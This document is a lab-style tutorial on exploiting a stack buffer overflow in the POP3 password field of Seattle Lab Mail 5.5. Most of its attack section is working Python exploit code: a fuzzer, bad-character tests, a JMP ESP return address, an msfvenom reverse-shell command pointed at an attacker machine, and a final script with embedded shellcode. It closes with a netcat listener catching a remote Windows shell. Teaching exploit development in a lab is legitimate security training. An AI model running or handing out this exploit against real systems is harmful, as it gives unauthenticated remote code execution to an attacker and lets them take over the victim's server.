Intro
Buffer
Buffer:- A buffer is a small memory allocation used when a program or a process is executed. It’s a specific memory size allocated for the input that we take into our program.
Buffer Overflow
Buffer overflow is a condition when a program writes more data to the memory than it is actually supposed to take, it then overwrites the later memory addresses. The overflown buffer contains malicious code or reverse-shells that will probably give access to the attacker of vulnerable machines.
Types
There are two types of buffer overflows:-
- Stack-based Buffer overflow
- Heap-based Buffer overflow
Stack:
A stack is a limited access data structure elements can be added and removed from the stack only at the top. It works on LIFO(last-in-first-out) principle.
Stack supports two operations push and pop.
Push: Adds an item to the top of the stack.
Pop: Removes an item from the top of the stack.
Memory layout
Registers
For stack-based buffer overflow, we will focus only on EBP, EIP, and ESP. EBP points to a higher memory address at the bottom of the stack, ESP points to the top of the stack at a lower memory location. EIP holds the address of the next instruction to be executed. Our prime focus is on the EIP register since we need to hijack execution flow. EIP read-only register, so we cannot assign the memory address of the instruction to be executed to it.
Flow of the attack
Seattle Lab Mail (SLmail)
It’s an application for a mail server that is vulnerable to a stack-based buffer overflow attack. There exists an unauthenticated buffer overflow vulnerability in the POP3 server of Seattle Lab Mail 5.5 when sending a password with excessive length.
Requirements
- Windows 7 32bit (Victim Machine) IP:- 192.168.1.24
- Kali Linux (Attacker Machine) IP:- 192.168.1.5
- Immunity Debugger
- SLmail Application installed on the windows machine
Immunity Debugger
Application is started, immunity debugger opens a default window which is divided into four parts. 1) Disassemble output of binary 2) CPU Registers 3) Memory Dump 4) Stack.
Steps to exploit stack-based application manually (without using MONA)
1. Fuzzing the service parameter and locating EIP
1.1 Fuzzing service parameter
nc 192.168.1.24 110
+OK POP3 server win7.com ready <00008.29449005@win7.com>
USER
+OK welcome here
PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....... almost 4000 A's
1.2 Replicating the crash with fuzzing output crash bytes
#!/usr/bin/pythonimport socket,syssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((sys.argv[1],110))sock.recv(1024)buffer = "A"*4000sock.send('USER username\r\n')sock.recv(1024)sock.send('PASS ' + buffer + '\r\n')sock.close()
1.3 Generating and sending the cyclical pattern to determine offset (EIP)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4000
1.4 Verifying offset (EIP) & ESP starting
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q EIP address
2. Finding Bad characters
Bad Characters
A bad char is simply an ASCII character that can break code execution, such as 0x00 (Null) or 0x0A (line feed). Every time a bad char is detected with the debugger, that character is simply not appearing in the dumped memory area, after following ESP.
2.1 Generating byte array
I made a simple script to generate a byte array.
#!/usr/bin/pythonimport sysbadChars = []for bad in sys.argv[1:]:
badChars.append(int(bad, 0))counter = 0x00testBed = '"'print "[+] Generating Test Chars : "while counter <= 0xFF:if counter not in badChars:
testBed += "\\x%02x" %countercounter += 1testBed += '"'print "[+] Done generating! \n\n"
print testBed + "\n\n"
Output
[+] Generating Test Chars :
[+] Done generating!"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Now just add these characters to the buffer using our script.
#!/usr/bin/pythonimport socket,syssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((sys.argv[1],110))sock.recv(1024)buffer = “A”*2606buffer += “\x90”*20buffer += “\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”buffer += “B”* (4000 — len(buffer))sock.send(‘USER username\r\n’)sock.recv(1024)sock.send(‘PASS ‘ + buffer + ‘\r\n’)sock.send(‘QUIT\r\n’)sock.close()
2.2 Comparing byte array to the (immunity debugger) Stack.
If this is the case, that char should be removed from the list and we should proceed with the next debugging round until the whole string is visible in memory.
so, I found 3 bad characters who are breaking the flow “\x00\x0a\x0d”, I’ll then remove those characters from our script.
#!/usr/bin/pythonimport socket,syssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((sys.argv[1],110))sock.recv(1024)buffer = “A”*2606buffer += “\x90”*20buffer += “\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”buffer += “B”* (4000 — len(buffer))sock.send(‘USER username\r\n’)sock.recv(1024)sock.send(‘PASS ‘ + buffer + ‘\r\n’)sock.send(‘QUIT\r\n’)sock.close()
3. Finding return address & exploitation
3.1 Manually (using immunity debugger)
The return address used to overwrite the EIP, which will point to ESP to point to ESP each time the program is loaded. Find a JMP_ESP in a preloaded DLL, as long as it has a fixed location in memory at each execution.
So now we just have to find a JUMP to ESP instruction in the ‘USER32.dll’ module.
Manual JMP ESP/CALL ESP
Main menu => View => Executable Modules => USER32.dllDisassemble output of binary => Search for => Command => JMP ESP/CALL ESP => Note its address
OR
Manual CALL EAX
Main menu => View => Executable Modules => select USER32.dllDisassemble output of binary => Search for => Command => CALL EAX => Note it’s address
This address will jump back to the location of the shell.
Here JMP ESP’s address is 75BF6D53
now we’ll add it to the buffer jump return address to JMP ESP so that our shellcode can be executed.
#!/usr/bin/pythonimport socket,syssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((sys.argv[1],110))sock.recv(1024)buffer = "A"*2606buffer += "\x53\x6D\xBF\x75"buffer += "\x90"*20buffer += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"buffer += "B"* (3500 - len(buffer))sock.send('USER username\r\n')sock.recv(1024)sock.send('PASS ' + buffer + '\r\n')sock.send('QUIT\r\n')sock.close()
3.2 Setting breakpoint to verify the return address (OPTIONAL STEP)
Ensure that the return address is accurate by adding a breakpoint.
3.3 Creating shellcode using Msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT = 4455 -f c -b "\x00\x0a\x0d"
make sure to remove all bad characters coz if not then your exploit is not going to work.
3.4 Add approx 20 NOP’s (“\x90”)
#!/usr/bin/pythonimport socket,syssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((sys.argv[1],110))sock.recv(1024)buffer = "A"*2606buffer += "\x53\x6D\xBF\x75"buffer += "\x90"*20buffer += ("\xd9\xc6\xbb\x9b\x9d\xaf\x79\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x52\x83\xee\xfc\x31\x5e\x13\x03\xc5\x8e\x4d\x8c\x05\x58\x13"
"\x6f\xf5\x99\x74\xf9\x10\xa8\xb4\x9d\x51\x9b\x04\xd5\x37\x10"
"\xee\xbb\xa3\xa3\x82\x13\xc4\x04\x28\x42\xeb\x95\x01\xb6\x6a"
"\x16\x58\xeb\x4c\x27\x93\xfe\x8d\x60\xce\xf3\xdf\x39\x84\xa6"
"\xcf\x4e\xd0\x7a\x64\x1c\xf4\xfa\x99\xd5\xf7\x2b\x0c\x6d\xae"
"\xeb\xaf\xa2\xda\xa5\xb7\xa7\xe7\x7c\x4c\x13\x93\x7e\x84\x6d"
"\x5c\x2c\xe9\x41\xaf\x2c\x2e\x65\x50\x5b\x46\x95\xed\x5c\x9d"
"\xe7\x29\xe8\x05\x4f\xb9\x4a\xe1\x71\x6e\x0c\x62\x7d\xdb\x5a"
"\x2c\x62\xda\x8f\x47\x9e\x57\x2e\x87\x16\x23\x15\x03\x72\xf7"
"\x34\x12\xde\x56\x48\x44\x81\x07\xec\x0f\x2c\x53\x9d\x52\x39"
"\x90\xac\x6c\xb9\xbe\xa7\x1f\x8b\x61\x1c\xb7\xa7\xea\xba\x40"
"\xc7\xc0\x7b\xde\x36\xeb\x7b\xf7\xfc\xbf\x2b\x6f\xd4\xbf\xa7"
"\x6f\xd9\x15\x67\x3f\x75\xc6\xc8\xef\x35\xb6\xa0\xe5\xb9\xe9"
"\xd1\x06\x10\x82\x78\xfd\xf3\x6d\xd4\xfc\x06\x06\x27\xfe\x19"
"\xb1\xae\x18\x73\x2d\xe7\xb3\xec\xd4\xa2\x4f\x8c\x19\x79\x2a"
"\x8e\x92\x8e\xcb\x41\x53\xfa\xdf\x36\x93\xb1\xbd\x91\xac\x6f"
"\xa9\x7e\x3e\xf4\x29\x08\x23\xa3\x7e\x5d\x95\xba\xea\x73\x8c"
"\x14\x08\x8e\x48\x5e\x88\x55\xa9\x61\x11\x1b\x95\x45\x01\xe5"
"\x16\xc2\x75\xb9\x40\x9c\x23\x7f\x3b\x6e\x9d\x29\x90\x38\x49"
"\xaf\xda\xfa\x0f\xb0\x36\x8d\xef\x01\xef\xc8\x10\xad\x67\xdd"
"\x69\xd3\x17\x22\xa0\x57\x27\x69\xe8\xfe\xa0\x34\x79\x43\xad"
"\xc6\x54\x80\xc8\x44\x5c\x79\x2f\x54\x15\x7c\x6b\xd2\xc6\x0c"
"\xe4\xb7\xe8\xa3\x05\x92")buffer += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"buffer += "B"* (3500 - len(buffer))sock.send('USER username\r\n')sock.recv(1024)sock.send('PASS ' + buffer + '\r\n')sock.send('QUIT\r\n')sock.close()
3.5 Start listener and execute the exploit
nc -nlvp 4455
If everything goes precisely we’ll get the shell
python exploit.py 192.168.1.24
we got the shell
root@ys2k-1wnl:~# nc -nlvp 4455
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:49305.
Microsoft Windows [Version 6.1.7600]
Copyright © 2009 Microsoft Corporation. All rights reserved.C:\Program Files\SLmail\System>ipconfig
ipconfigWindows IP ConfigurationEthernet adapter Local Area Connection:Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::804:651b:e73b:3fdc%11
IPv4 Address. . . . . . . . . . . : 192.168.1.24
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1Tunnel adapter isatap.{65BF090F-5221–47CA-93D9–1DC25B4C52A6}:Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :C:\Program Files\SLmail\System>